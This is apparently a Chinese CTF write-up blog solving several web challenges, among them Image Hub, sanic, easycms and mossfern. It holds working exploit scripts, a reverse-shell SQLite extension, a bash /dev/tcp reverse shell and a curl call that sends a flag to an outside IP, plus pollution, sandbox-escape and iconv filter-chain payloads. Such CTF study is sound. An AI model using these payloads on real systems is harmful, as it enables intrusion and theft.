elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# G
return 'G'
elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# t
return 't'
elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
# T
return 'T'
else:
err('something wrong')

# ==== 修改点 3:补充运行时输出,方便区分当前在读哪个文件、打哪个地址 ====
print()
print(f'[+] target: {TARGET_RESOURCE}')
print(f'[+] url: {BASE_URL}')
for i in range(MAX_CHARS):
prefix = f'{header}|{get_nth(i)}'
letter = find_letter(prefix)
# 如果命中数字分支,就额外做一次 base64 来继续细分
if letter == '*':
prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
s = find_letter(prefix)
if s == 'M':
# 进一步区分 0 - 3
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '0'
elif ss in 'STUVWX':
letter = '1'
elif ss in 'ijklmn':
letter = '2'
elif ss in 'yz*':
letter = '3'
else:
err(f'bad num ({ss})')
elif s == 'N':
# 进一步区分 4 - 7
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '4'
elif ss in 'STUVWX':
letter = '5'
elif ss in 'ijklmn':
letter = '6'
elif ss in 'yz*':
letter = '7'
else:
err(f'bad num ({ss})')
elif s == 'O':
# 进一步区分 8 - 9
prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
ss = find_letter(prefix)
if ss in 'CDEFGH':
letter = '8'
elif ss in 'STUVWX':
letter = '9'
else:
err(f'bad num ({ss})')
else:
err('wtf')

print(end=letter)
o += letter
sys.stdout.flush()

"""
到这里就结束了。
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# 去掉 CSISO2022KR 带来的填充残留
d = d.replace(b'$)C',b'')
print(b64decode(d))

读取出的dawn.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
if (isset($_GET['hello-webdog'])) {
highlight_file(__FILE__);
} else {
die("see me?");
}
$name = $_POST['name'];
$token = $_POST['token'];
$pattern = "/[<\"'\\\\;\?>]/";

if (preg_match($pattern, $name) || preg_match($pattern, $token)) {
echo json_encode(["error" => "非法字符检测到"]);
exit;
}
$open = fopen("data.php", "w");
$str = '<?php header("Content-Type: application/json; charset=UTF-8");error_reporting(0);';
$str .= '$webdog_name = "';
$str .= "$name";
$str .= '"; ';
$str .= '$token = "';
$str .= "$token";
$str .= '"; $Config = [
"webdog-name" => "$webdog_name",
"token" => "$token"
];';
$str .= ' ;return json_encode($Config);?>';
fwrite($open, $str);
fclose($open);

可以看见name被双引号包裹,php中${}包裹的东西在双引号中也能被解析

尝试name=${phpinfo()}&token=awa,然后访问data.php,成功显示配置。

写入木马name=${system($_POST[1])}&token=awa,然后访问data.php,POST 1=env即可。

2025.4.8 WHUCTF2025 Image Hub

用ILSpy工具审查.net代码

主要观察

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public async Task<List<Images>> List(Form.ImageRequest request)
{
string? sort = string.IsNullOrEmpty(request.Sort) ? "id" : request.Sort;
int? limit = request.Limit ?? 50;
int? page = request.Page ?? 1;
page = page > 0 ? page : 1;

List<Images> imageList = await _context.Images
.FromSqlRaw(
@"SELECT * FROM Images
WHERE Name LIKE @p0 OR Desc LIKE @p0
ORDER BY " + sort + " " + request.Order + @"
LIMIT @p1 OFFSET @p2",
$"%{request.Rules}%", // @p0
limit, // @p1
limit * (page - 1) // @p2
)
.ToListAsync();
return imageList;
}

发现是直接拼接的sql语句,存在sql注入,盲注脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
import argparse
import json
import sys
import time
import urllib.error
import urllib.request


class BlindSQLiClient:
def __init__(self, base_url: str, timeout: float = 10.0, delay: float = 0.0):
self.url = base_url.rstrip("/") + "/api/list"
self.timeout = timeout
self.delay = delay

def oracle(self, condition: str) -> bool:
payload = {
"rules": "",
"sort": f"CASE WHEN ({condition}) THEN id ELSE size END",
"order": "asc",
"page": 1,
"limit": 1,
}
data = json.dumps(payload).encode()
req = urllib.request.Request(
self.url,
data=data,
headers={"Content-Type": "application/json"},
)
try:
with urllib.request.urlopen(req, timeout=self.timeout) as resp:
body = json.loads(resp.read().decode())
except urllib.error.HTTPError as exc:
raise RuntimeError(f"HTTP {exc.code}: {exc.read().decode(errors='ignore')}") from exc

if self.delay:
time.sleep(self.delay)

images = body.get("images", [])
if not images:
raise RuntimeError(f"unexpected response: {body}")

first_id = images[0]["id"]
if first_id == 1:
return True
if first_id == 4:
return False
raise RuntimeError(f"unexpected oracle id: {first_id}, response={body}")

def int_query(self, expr: str, low: int = 0, high: int = 128) -> int:
while low < high:
mid = (low + high) // 2
if self.oracle(f"({expr}) > {mid}"):
low = mid + 1
else:
high = mid
return low

def text_length(self, expr: str, max_len: int = 128) -> int:
return self.int_query(f"length(({expr}))", 0, max_len)

def text_value(self, expr: str, max_len: int = 128, max_char: int = 127) -> str:
length = self.text_length(expr, max_len=max_len)
out = []
for pos in range(1, length + 1):
code = self.int_query(f"unicode(substr(({expr}),{pos},1))", 0, max_char)
out.append(chr(code))
print(f"[+] pos {pos:02d}/{length}: {''.join(out)}", file=sys.stderr)
return "".join(out)


def main() -> None:
parser = argparse.ArgumentParser(
description="Boolean blind SQLi enumerator for Image Hub /api/list sort injection"
)
parser.add_argument("--url", default="http://127.0.0.1:5000", help="base URL")
parser.add_argument("--timeout", type=float, default=10.0, help="request timeout")
parser.add_argument("--delay", type=float, default=0.0, help="sleep between requests")
parser.add_argument("--max-users", type=int, default=16, help="upper bound for user count")
args = parser.parse_args()

client = BlindSQLiClient(args.url, timeout=args.timeout, delay=args.delay)

user_count = client.int_query("SELECT count(*) FROM Users", 0, args.max_users)
print(f"[+] user_count = {user_count}")

for idx in range(user_count):
name_expr = f"SELECT IFNULL(Name,'') FROM Users LIMIT 1 OFFSET {idx}"
pass_expr = f"SELECT IFNULL(Password,'') FROM Users LIMIT 1 OFFSET {idx}"

print(f"[+] dumping row {idx}")
username = client.text_value(name_expr, max_len=64, max_char=127)
password_hash = client.text_value(pass_expr, max_len=64, max_char=127)
print(f"[+] user[{idx}].Name = {username}")
print(f"[+] user[{idx}].Password = {password_hash}")


if __name__ == "__main__":
main()

获得 Name = admin Password = A95E5CCBF6F62F169C2972F4482A2B50,爆破明文密码,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#!/usr/bin/env python3
import argparse
import hashlib
import re
import subprocess
import sys


PASS_KEY = "w1ll_siesta_b3come_a_j0ker?"


def load_logs(container: str) -> str:
proc = subprocess.run(
["docker", "logs", container],
capture_output=True,
text=True,
check=False,
)
if proc.returncode != 0:
raise RuntimeError(proc.stderr.strip() or f"docker logs failed: {proc.returncode}")
return proc.stdout


def extract_password(logs: str) -> str:
# entrypoint first prints the 7-char random admin password in plain text
for line in logs.splitlines():
line = line.strip()
if re.fullmatch(r"[A-Za-z0-9]{7}", line):
return line
raise RuntimeError("plaintext admin password not found in container logs")


def calc_hash(password: str) -> str:
return hashlib.md5((password + PASS_KEY).encode("ascii")).hexdigest().upper()


def main() -> None:
parser = argparse.ArgumentParser(
description="Recover Image Hub admin plaintext password from container logs"
)
parser.add_argument(
"--container",
default="image-hub-web-1",
help="docker container name",
)
parser.add_argument(
"--hash",
dest="expected_hash",
help="optional expected DB hash for verification",
)
args = parser.parse_args()

logs = load_logs(args.container)
password = extract_password(logs)
password_hash = calc_hash(password)

print(f"[+] admin plaintext password: {password}")
print(f"[+] md5(password + PASS_KEY): {password_hash}")

if args.expected_hash:
if password_hash == args.expected_hash.upper():
print("[+] hash verification: OK")
else:
print("[!] hash verification: FAILED")
sys.exit(1)


if __name__ == "__main__":
main()

接下来上传sqlite恶意拓展实现rce,官方的evil.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <sqlite3ext.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

SQLITE_EXTENSION_INIT1

#ifndef ATTACKER_IP
#define ATTACKER_IP "127.0.0.1"
#endif

#ifndef ATTACKER_PORT
#define ATTACKER_PORT 7777
#endif

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
sqlite3 *db,
char **pzErrMsg,
const sqlite3_api_routines *pApi
){
(void)db;
(void)pzErrMsg;
SQLITE_EXTENSION_INIT2(pApi);

if (fork() == 0) {
int fd;
struct sockaddr_in addr;
char *argv[] = {
"/bin/sh",
"-c",
"/readflag; exec /bin/sh -i",
NULL
};

addr.sin_family = AF_INET;
addr.sin_port = htons(ATTACKER_PORT);
addr.sin_addr.s_addr = inet_addr(ATTACKER_IP);

fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
_exit(0);
}
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
_exit(0);
}

dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/bin/sh", argv, NULL);
_exit(0);
}

return SQLITE_OK;
}

官方的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import requests
import json
import time
import re

url = "http://125.220.147.47:49245"
pass_hash = ""

def burp_password():

payload = "case when (substr(({}),{},1)>'{}') then id else -id end"
sql_query = 'select(Password)from(Users)'

result = ''
length = -1
target = 32

while len(result) != target:
length = len(result)
low = 48
high = 122
mid = (low + high)//2
while(low < high):
time.sleep(0.04)
# print(low, high, mid)
res = requests.post(url=url + '/api/list', data= json.dumps({
"page":0,"sort": payload.format(sql_query, length+1, chr(mid)), "order":"", "rules":"", "limit":"2"
}), headers={"Content-Type": "application/json"}, proxies= {"http": "http://127.0.0.1:10721"})
if re.findall(r'"id":(\d)', res.text)[0] == '5':
high = mid
else:
low = mid+1
mid = (low + high)//2
result += chr(mid)
print(result)
return result

def burp_md5():
# use hashcat plz
return input('password:')

def login(password):
res = requests.post(
url=url + '/api/login',
headers={
"Content-Type": "application/json",
},
data= json.dumps({
"username":"admin",
"password": password
})
)
return res.json()['token']

def upload(token):
files = {
"file": ("evil.jpg", open("./evil.so", "rb"), "image/jpg")
}
res = requests.post(url + '/api/uploads', files=files, data = {"desc": "this is desc"}, headers={"Authorization": f"Bearer {token}"})

def getshell():
requests.post(
url=url + '/api/list',
headers={
"Content-Type": "application/json",
},
data= json.dumps({
"page":"0",
"sort": "CASE WHEN (select load_extension('./uploads/evil.jpg')) THEN Id ELSE -Id END",
"order":"",
"rules":"",
"limit":"2"
})
)


if __name__ == '__main__':
pass_hash = burp_password()
print(pass_hash)
password = burp_md5()
token = login(password)
# 编译so gcc -g -fPIC -shared evil.c -o evil.so
# hashcat -m 0 -a 3 -2 ?u?l?d md5string ?2?2?2?2?2?2+salt
upload(token)
getshell()

2025.4.9 Notice Board

查看代码

1
2
3
4
5
for user in USERS:
if user.name == username:
raise falcon.HTTPBadRequest(title='invalid name')

USERS.append(User(username.lower(), password.lower()))

注册逻辑是先检验,再小写,再写入,因此我们可以传参Admin来覆盖原有的admin

再util.py存在merge,即大概率存在原型链污染:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if type(v) is dict:
merge(v, dst.get(k))
elif type(v) is list and type(dst.get(k)) == list:
for n, i, j in enumerate(zip(dst.get(k), v)):
if type(j) is dict:
merge(j, i)
else:
dst.get(k)[n] = v[n]
else:
dst[k] = v
elif hasattr(dst, k):
if type(v) is dict:
merge(v, getattr(dst, k))
elif type(v) is list and type(getattr(dst, k)) == list:
for n, var in enumerate(zip(getattr(dst, k), v)):
i, j = var[0], var[1]
if type(j) is dict:
merge(j, i)
else:
getattr(dst, k)[n] = v[n]
else:
setattr(dst, k, v)
else:
setattr(dst, k, v)

搜寻merge函数,发现再controller.py的NoticeController存在以下方法:

1
2
3
4
5
6
7
8
9
10

@authorization
def on_post(self, req, resp):
if not {'title', 'number', 'content'}.issubset(req.context.doc.keys()) :
raise falcon.HTTPBadRequest()
for n,notice in enumerate(NOTICES):
if notice.number == req.context.doc['number']:
merge(req.context.doc, notice)

resp.context.result = {'res': 'success'}

会将用户传递的context直接merge到notice

notice class 如下:

1
2
3
4
5
6
class Notice:
def __init__(self, title: str, number: str, content: str):
self.title = title
self.number = number
self.content = content

这里可以通过 __class__ -> __init__ -> __globals__Notice 类一路进入定义该类的模块全局变量,最终拿到 models.app

可以控制全局变量了,查找有没有rce的入口。在patch.diff中发现:

1
2
3
+        if type(responder) == str and re.match(r'^\s*lambda\s+[\w, ]+:\s*.+$', responder):
+ responder = eval(responder)
+ method_map[method] = responder

要想办法将其污染成”lambda req, resp: setattr(resp.context, ‘result’, {‘flag’: import(‘os’).popen(‘/readflag’).read()})”

代码如下:

1
2
3
4
curl -is -X POST http://127.0.0.1:8000/api/notice \
-H 'Content-Type: application/json' \
-H 'Authorization: YOUR_TOKEN' \
--data '{"title":"x","number":"C-1972/NoOO","content":"x","__class__":{"__init__":{"__globals__":{"app":{"_router":{"_roots":[{"children":[{}, {}, {"method_map":{"GET":"lambda req, resp: setattr(resp.context, \"result\", {\"flag\": __import__(\"os\").popen(\"/readflag\").read()})"}}]}, {}]}}}}}}'

然后访问/api/notice即可获得flag

2025.4.10 CISCN2024 sanic

访问/scr,获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
def __init__(self):
pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

return text("login fail")


@app.route("/src")
async def src(request):
return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")

return text("forbidden")


if __name__ == '__main__':
app.run(host='0.0.0.0')

重点看:

1
2
3
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")

也就是要让cookier中为adm;n,但是直接传入adm;n会被;截断。根据RFC2068 的编码规则,传入\073绕过。

获得session=d4977aca080642549ef5fa85dc065c97

然后访问admin,进行原型链污染。

_.被过滤,出题人的意图显然是想拦一些通过下划线对象再接点号的路径,但这个过滤很脆弱,因为 pydash 的路径解析支持对点号做转义。

也就是说:

1
__class__\\.__init__\\.__globals__\\.__file__

里的 \\. 不是普通文本,而是“把点号当成字面字符”的逃逸写法。

这里要分清两层:

  1. JSON 字符串里的 \\ 会变成真实的 \
  2. pydash 看到 \. 时,会把这个 . 当作字段名中的字符,而不是路径分隔符

可以__class__\\.init\\.__这样绕过

/src 路由是:

1
2
3
@app.route("/src")
async def src(request):
return text(open(__file__).read())

这里直接读取模块全局变量 __file__ 指向的文件。

Pollute.__init__.__globals__ 恰好就是这个模块的全局命名空间字典。
所以只要把全局字典中的 __file__ 改掉,/src 再次访问时就会去读新的文件。

由于不知道flag名称,所以先污染静态目录:

1
2
3
4
5
6
7
8
9
10
11
/*打开目录预览*/
s.post(url + "/admin", json={
"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.directory_view",
"value": True
})

/*把静态目录改为根目录*/
s.post(url + "/admin", json={
"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.directory._parts",
"value": ["/"]
})

获得flag文件名称/24bcbd0192e591d6ded1_flag

1
2
3
4
5
6
s.post(url + "/admin", json={
"key": "__init__\\\\.__globals__\\\\.__file__",
"value": "/24bcbd0192e591d6ded1_flag"
})

print(s.get(url + "/src").text)

通过/src读取flag。

以下为exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = "http://c56f673e-17aa-461e-a8df-3b25a8c74365.challenge.ctf.show"
s = requests.Session()

# login bypass
s.cookies.update({"user": "\"adm\\073n\""})
print(s.get(url + "/login").text)
print("session =", s.cookies.get("session"))

# static route pollution
s.post(url + "/admin", json={
"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.directory_view",
"value": True
})
s.post(url + "/admin", json={
"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\\\.static.handler.keywords.directory_handler.directory._parts",
"value": ["/"]
})

# known filename on ctf.show instance
s.post(url + "/admin", json={
"key": "__init__\\\\.__globals__\\\\.__file__",
"value": "/24bcbd0192e591d6ded1_flag"
})

print(s.get(url + "/src").text)

2026.4.11 ciscn2024 easycms

提示了flag.php和其源码:

1
2
3
4
5
6
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

要求是要本机访问,估计是要ssrf。

使用 dirsearch 扫描后发现了 test.php

1

根据提示2,去github搜索相关的cms。地址如下:dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。

审计源码,由于需要ssrf,所以优先所搜curl_exec函数。

在 dayrui\Fcms\Control\Api.php里面的 qrcode 函数里面找到了调用

首先在自己的服务器弄个php文件

1
<?php  header("Location: http://127.0.0.1/flag.php?cmd='bash%20-i%20%3E&%20/dev/tcp/114.55.164.250/11451%200%3E&1'");?>

payload:

1
s=api&c=Api&thumb=http://114.55.164.250/&m=qrcode&text=test&size=80&level=1

然后rce即可获取flag

由于ctfshow的复现环境可以直接执行,所以不需要302跳转,可以直接:

1
https://2e50877f-7e6a-4f53-9ea7-e024fbaa1bbc.challenge.ctf.show/?s=api&c=api&m=qrcode&text=1&thumb=http://127.0.0.1/flag.php?cmd=curl%20http://114.55.164.250:11451/`/readflag|base64`

2026.4.12 ciscn2024 mossfern

题目给出了源码

app.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
id = str(uuid1())
try:
data = request.json
open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
run = subprocess.run(
['python', f"/app/uploads/{id}.py"],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
timeout=3
)
result = run.stdout.decode("utf-8")
error = run.stderr.decode("utf-8")
print(result, error)


if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": f"{result}\n{error}"
})
except:
if os.path.exists(f"/app/uploads/{id}.py"):
os.remove(f"/app/uploads/{id}.py")
if os.path.exists(f"/app/uploads/{id}.txt"):
os.remove(f"/app/uploads/{id}.txt")
return jsonify({
"result": "None"
})


if __name__ == "__main__":
app.run("0.0.0.0", 5000)

runner.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
def source_simple_check(source):


from sys import exit
from builtins import print

try:
source.encode("ascii")
except UnicodeEncodeError:
print("non-ascii is not permitted")
exit()

for i in ["__", "getattr", "exit"]:
if i in source.lower():
print(i)
exit()


def block_wrapper():


def audit(event, args):

from builtins import str, print
import os

for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
if i in (event + "".join(str(s) for s in args)).lower():
print(i)
os._exit(1)
return audit


def source_opcode_checker(code):


from dis import dis
from builtins import str
from io import StringIO
from sys import exit

opcodeIO = StringIO()
dis(code, file=opcodeIO)
opcode = opcodeIO.getvalue().split("\n")
opcodeIO.close()
for line in opcode:
if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
break
print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
exit()


if __name__ == "__main__":

from builtins import open
from sys import addaudithook
from contextlib import redirect_stdout
from random import randint, randrange, seed
from io import StringIO
from random import seed
from time import time

source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
source_simple_check(source)
source_opcode_checker(source)
code = compile(source, "<sandbox>", "exec")
addaudithook(block_wrapper())
outputIO = StringIO()
with redirect_stdout(outputIO):
seed(str(time()) + "THIS_IS_SEED" + str(time()))
exec(code, {
"__builtins__": None,
"randint": randint,
"randrange": randrange,
"seed": seed,
"print": print
}, None)
output = outputIO.getvalue()

if "THIS_IS_SEED" in output:
print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
print("bad code-operation why still happened ah?")
else:
print(output)

参考链接:python栈帧沙箱逃逸 - Zer0peach can’t think

Python利用栈帧沙箱逃逸-先知社区

exp.py如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

url = "http://e1ad5a54-311c-45b5-84b5-42a3950e21f1.challenge.ctf.show/run"

payload = """
try:
[].print()
except:
pass
def builder():
yield gen.gi_frame.f_back.f_back.f_back
gen = builder()
frame = [x for x in gen][0]

bti = frame.f_globals['_' + '_' + 'builtins' + '_' + '_']

str = bti.str

for i in str(frame.f_code.co_consts):
print(i, end = " ")
"""

r = requests.post(url, json={"code": payload})
print(r.text)

2026.4.13 ctfshow_web安全应用_最简单的SSRF

题目代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

扫描发现存在flag.php,访问显示需要本地用户访问,很明显是ssrf

发现只检验了host长度不能大于5,用url=http://0/flag.php即可

2026.4.14 ctfshow_web安全应用_SSRF打Redis

使用Gopherus生成payload。

生成后的payload还需要进行一次url编码才能使用。

然后访问url/shell.php?cmd=tac /flaaag即可获得flag。

2026.4.15 ctfshow单身杯_迷雾重重

查看IndexController.php,其中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function testJson(Request $request)
{
// 读取 JSON 字符串并转成关联数组。
if (null !== $request->get('data')) {
$data = json_decode($request->get('data'), true);

// 只有 name 为 guest 时才把数据传给模板渲染。
// 这里直接把外部输入传入视图,实际项目中仍然要考虑模板注入和 XSS 风险。
if (null !== $data && $data['name'] == 'guest') {
return view('index/view', $data);
}
}
return "json_decode测试完毕";
}

data可控,查看view函数。

view:

1
2
3
4
5
6
7
function view(string $template, array $vars = [], string $app = null, string $plugin = null): Response
{
$request = \request();
$plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
$handler = \config($plugin ? "plugin.$plugin.view.handler" : 'view.handler');
return new Response(200, [], $handler::render($template, $vars, $app, $plugin));
}

跟进查看$handler::render

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static function render(string $template, array $vars, string $app = null, string $plugin = null): string
{
$request = request();
$plugin = $plugin === null ? ($request->plugin ?? '') : $plugin;
$configPrefix = $plugin ? "plugin.$plugin." : '';
$viewSuffix = config("{$configPrefix}view.options.view_suffix", 'html');
$app = $app === null ? ($request->app ?? '') : $app;
$baseViewPath = $plugin ? base_path() . "/plugin/$plugin/app" : app_path();
$__template_path__ = $app === '' ? "$baseViewPath/view/$template.$viewSuffix" : "$baseViewPath/$app/view/$template.$viewSuffix";

if(isset($request->_view_vars)) {
extract((array)$request->_view_vars);
}
extract($vars);
ob_start();
// Try to include php file.
try {
include $__template_path__;
} catch (Throwable $e) {
ob_end_clean();
throw $e;
}

return ob_get_clean();
}

$vars可控,重点看:

1
2
extract($vars);            
include $__template_path__;

存在变量覆盖,实现可用控制$template_path

这里的话直接读取环境变量可用获得flag

1
curl -G 'http://90acdc09-79d6-4fc6-92c8-e88bc19c9072.challenge.ctf.show/index/testJson'  --data-urlencode 'data={"name":"guest","__template_path__":"/proc/1/environ"}'

但这为非预期,正解应该如下:

参考hxp CTF 2021 - The End Of LFI? - 跳跳糖

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
$base64_payload = "PD9waHAgc3lzdGVtKCJjYXQgL3MqIik7Pz4"; /*<?php system("cat /s*");?>*/
$conversions = array(
'/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
'0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
'2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
'3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
'4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2',
'5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE',
'6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
'7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C' => 'convert.iconv.UTF8.CSISO2022KR',
'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
